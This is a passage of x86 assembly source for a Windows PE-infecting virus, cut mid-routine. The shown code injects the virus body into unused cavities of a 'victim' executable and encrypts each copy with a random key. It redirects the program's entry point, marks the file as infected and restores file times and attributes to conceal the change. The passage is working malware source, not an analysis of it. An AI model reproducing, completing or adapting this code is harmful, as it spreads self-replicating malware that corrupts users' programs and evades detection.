; the one in executed memory(imagebase)
|
|
|
|
mov eax,[esi+0ch] ; virtual addr
|
|
sub eax,[esi+14h] ; fileoffset
|
|
sub eax,[ebp+offset mapaddress-offset start-80h]
|
|
add eax,[ebp+offset imagebase-offset start-80h]
|
|
mov [edx+8],eax ; virsec delta
|
|
|
|
add [esi+10h],ebx ; add rest to raw size
|
|
mov eax,[esi+10h]
|
|
|
|
imsatisfied:
|
|
|
|
; align raw data size to filealign
|
|
|
|
xor edx,edx
|
|
mov ecx,[ebp+offset filealign-offset start-80h]
|
|
div ecx
|
|
sub ecx,edx
|
|
add [esi+10h],ecx
|
|
mov eax,[esi+10h]
|
|
|
|
cmp eax,[esi+8h] ; raw data bigger than virtual size ?
|
|
jbe rawinvirtual
|
|
|
|
mov [esi+8h],eax ; yes -> set it to raw size
|
|
|
|
; Align virtual size to sectionalign
|
|
|
|
mov ecx,[ebp+offset sectionalign-offset start-80h]
|
|
div ecx
|
|
sub ecx,edx
|
|
add [esi+8h],ecx
|
|
mov [ebp+offset add2imagesize-offset start-80h],ecx
|
|
|
|
vxinraw:
|
|
rawinvirtual:
|
|
|
|
; calculate the new entry point for the victim
|
|
|
|
mov eax,[esi+0ch] ; virtual address
|
|
add eax,[ebp+offset oldrawsize-offset start-80h]
|
|
sub eax,[ebp+offset unusedsize-offset start-80h] ; sub unused raw data size
|
|
mov [ebp+offset newip-offset start-80h],eax
|
|
|
|
; calculate the new size of the file
|
|
|
|
mov eax,[esi+14h] ; file offset of rawdata
|
|
add eax,[esi+10h] ; add new raw data size
|
|
mov [ebp+offset newfilesize-offset start-80h],eax
|
|
|
|
; calculate random key
|
|
|
|
call random32
|
|
push dword ptr [ebp+offset randomkey-offset start-80h] ; save own random key
|
|
mov dword ptr [ebp+offset randomkey-offset start-80h],eax
|
|
|
|
;
|
|
; copy the virus into the victim
|
|
;
|
|
|
|
; copy section 2 into calced pieces
|
|
|
|
push esi
|
|
|
|
lea esi,[ebp+offset section1end-offset start-80h]
|
|
lea edx,[ebp+offset firstoffset-offset start-80h]
|
|
|
|
copynextpcs:
|
|
mov edi,[edx] ; virsec offset
|
|
or edi,edi
|
|
je notapiece
|
|
mov ecx,[edx+4] ; virsec size
|
|
rep movsb ; copy it
|
|
|
|
mov edi,[edx]
|
|
mov ecx,[edx+4]
|
|
mov eax,[ebp+offset randomkey-offset start-80h]
|
|
call crypt ; encrypt it
|
|
|
|
mov eax,[edx+8] ; virsec delta
|
|
add [edx],eax ; change offset
|
|
add edx,12 ; go to next virsec
|
|
jmp copynextpcs
|
|
|
|
notapiece:
|
|
pop esi
|
|
|
|
; calculate virus destination address
|
|
|
|
; mov edi,[esi+14h] ; file offset of rawdata
|
|
; add edi,[ebp+offset oldrawsize-offset start-80h]
|
|
; sub edi,[ebp+offset unusedsize-offset start-80h]
|
|
; add edi,[ebp+offset mapaddress-offset start-80h]
|
|
|
|
mov edi,[ebp+offset newip-offset start-80h]
|
|
sub edi,[esi+0ch] ; virtual address
|
|
add edi,[esi+14h] ; file offset of rawdata
|
|
add edi,[ebp+offset mapaddress-offset start-80h]
|
|
|
|
; copy first virus section
|
|
|
|
lea esi,[ebp+offset start-offset start-80h]
|
|
push edi
|
|
mov ecx,offset section1end-offset start
|
|
rep movsb
|
|
|
|
pop edi
|
|
mov eax,[ebp+offset randomkey-offset start-80h]
|
|
add edi,offset cryptstart-offset start
|
|
|
|
pop dword ptr [ebp+offset randomkey-offset start-80h] ; restore stuff
|
|
pop dword ptr [ebp+offset imagebase-offset start-80h]
|
|
pop dword ptr [ebp+offset oldip-offset start-80h]
|
|
|
|
mov ecx,offset section1end-offset cryptstart
|
|
call crypt ; encrypt it
|
|
|
|
; write new eip to PE header
|
|
|
|
mov esi,[ebp+offset PEheader-offset start-80h]
|
|
mov eax,[ebp+offset newip-offset start-80h]
|
|
mov [esi+28h],eax
|
|
|
|
; increase size of image
|
|
|
|
mov eax,[ebp+offset add2imagesize-offset start-80h]
|
|
add [esi+50h],eax
|
|
|
|
; mark as infected
|
|
|
|
mov esi,[ebp+offset mapaddress-offset start-80h]
|
|
mov word ptr [esi+38h],'RG'
|
|
|
|
;
|
|
; end the infection
|
|
;
|
|
|
|
Unmap_view:
|
|
push dword ptr [ebp+offset mapaddress-offset start-80h]
|
|
mov eax,[ebp+AUnmapViewOfFileA-offset start-80h]
|
|
call eax
|
|
|
|
close_map:
|
|
push dword ptr [ebp+offset maphandle-offset start-80h]
|
|
mov eax,[ebp+ACloseHandleA-offset start-80h]
|
|
call eax
|
|
|
|
close_file:
|
|
|
|
; set file pointer to end of file
|
|
|
|
push 0
|
|
push 0
|
|
push dword ptr [ebp+offset newfilesize-offset start-80h]
|
|
push dword ptr [ebp+offset filehandle-offset start-80h]
|
|
mov eax,[ebp+offset ASetFilePointerA-offset start-80h]
|
|
call eax
|
|
|
|
; mark end of file
|
|
|
|
push dword ptr [ebp+offset filehandle-offset start-80h]
|
|
mov eax,[ebp+offset ASetEndOfFileA-offset start-80h]
|
|
call eax
|
|
|
|
; restore file times
|
|
|
|
lea ebx,[ebp+offset ftcreation-offset start-80h]
|
|
push ebx
|
|
add ebx,8
|
|
push ebx
|
|
add ebx,8
|
|
push ebx
|
|
push dword ptr [ebp+offset filehandle-offset start-80h]
|
|
mov ebx,[ebp+ASetFileTimeA-offset start-80h]
|
|
call ebx
|
|
|
|
; close the file
|
|
|
|
push dword ptr [ebp+offset filehandle-offset start-80h]
|
|
mov eax,[ebp+ACloseHandleA-offset start-80h]
|
|
call eax
|
|
|
|
; restore old file attributes
|
|
|
|
push dword ptr [ebp+offset fileattributes-offset start-80h]
|
|
push dword ptr [ebp+offset fileofs-offset start-80h]
|
|
mov eax,[ebp+offset ASetFileAttributesA-offset start-80h]
|
|
call eax
|
|
|
|
cmp word ptr [ebp+offset infectionflag-offset start-80h],0ffffh
|
|
je infection_error
|
|
clc
|
|
popad
|
|
ret
|
|
|
|
infection_error:
|
|
stc
|
|
popad
|
|
ret
|
|
|
|
; searches all section for unused space at the end of each and returns
|
|
; the biggest space found
|
|
|
|
GetBiggestUnusedSpace:
|
|
pushad
|
|
|
|
xor ecx,ecx
|
|
mov dword ptr [ebp+offset maxoffset-offset start-80h],ecx
|
|
mov dword ptr [ebp+offset maxsize-offset start-80h],ecx
|
|
mov dword ptr [ebp+offset delta-offset start-80h],ecx
|
|
|
|
; calculate offset to the first section header
|
|
|
|
mov esi,[ebp+offset PEheader-offset start-80h]
|
|
mov ebx,[esi+74h] ; num of dir entries(each 8 byte)
|
|
shl ebx,3
|
|
mov cx,word ptr [esi+6h] ; num of sections(each 28h byte)
|
|
dec ecx ; don't search in last section
|
|
add esi,78h ; dir table offset
|
|
add esi,ebx
|
|
|
|
; check each section
|
|
|
|
trynextsec:
|
|
push ecx
|
|
mov ecx,[esi+10h]
|
|
mov edi,[esi+14h]
|
|
add edi,[ebp+offset mapaddress-offset start-80h]
|
|
add edi,ecx
|
|
dec edi
|
|
std
|
|
xor eax,eax
|
|
repz scasb
|
|
mov eax,[esi+10h]
|
|
cld
|
|
sub eax,ecx
|
|
dec eax
|
|
pop ecx
|
|
|
|
cmp eax,[ebp+offset maxsize-offset start-80h]
|
|
jna notmax
|
|
|
|
sub eax,4 ; don't use last 4 bytes to avoid messing
|
|
js notmax ; with things like jmp [00412340]
|
|
mov [ebp+offset maxsize-offset start-80h],eax
|
|
add edi,2+4
|
|
mov [ebp+offset maxoffset-offset start-80h],edi
|
|
|
|
; calculate delta value
|
|
|
|
mov eax,[esi+0ch]
|
|
sub eax,[esi+14h]
|
|
sub eax,[ebp+offset mapaddress-offset start-80h]
|
|
add eax,[ebp+offset imagebase-offset start-80h]
|
|
mov [ebp+offset delta-offset start-80h],eax
|
|
|
|
notmax:
|
|
add esi,28h
|
|
dec ecx
|
|
jne trynextsec
|
|
popad
|
|
mov ecx,[ebp+offset maxsize-offset start-80h]
|
|
mov edi,[ebp+offset maxoffset-offset start-80h]
|
|
mov eax,[ebp+offset delta-offset start-80h]
|
|
ret
|
|
|
|
; get a 32bit pseudo-random value
|
|
random32:
|
|
call random16
|
|
shl eax,16
|
|
call random16
|
|
ret
|
|
|
|
; play with timer registers to get a 16bit pseudo-random value
|
|
random16:
|
|
push ebx
|
|
xor bx,0ce76h
|
|
seed equ word ptr $-2
|
|
in al,41h
|
|
add bl,al
|
|
in al,42h
|
|
add bh,al
|
|
xor ah,al
|
|
in al,42h
|
|
xor bx,ax
|
|
xor al,ah
|
|
sub bl,al
|
|
in al,40h
|
|
sub bh,ah
|
|
in al,41h
|
|
mov ah,al
|
|
in al,42h
|
|
neg ax
|
|
xor ebx,eax
|
|
ror bx,3
|
|
mov word ptr [ebp+offset seed-offset start-80h],bx
|
|
mov ax,bx
|
|
pop ebx
|
|
ret
|
|
|
|
end:
|
|
end start
|
|
end |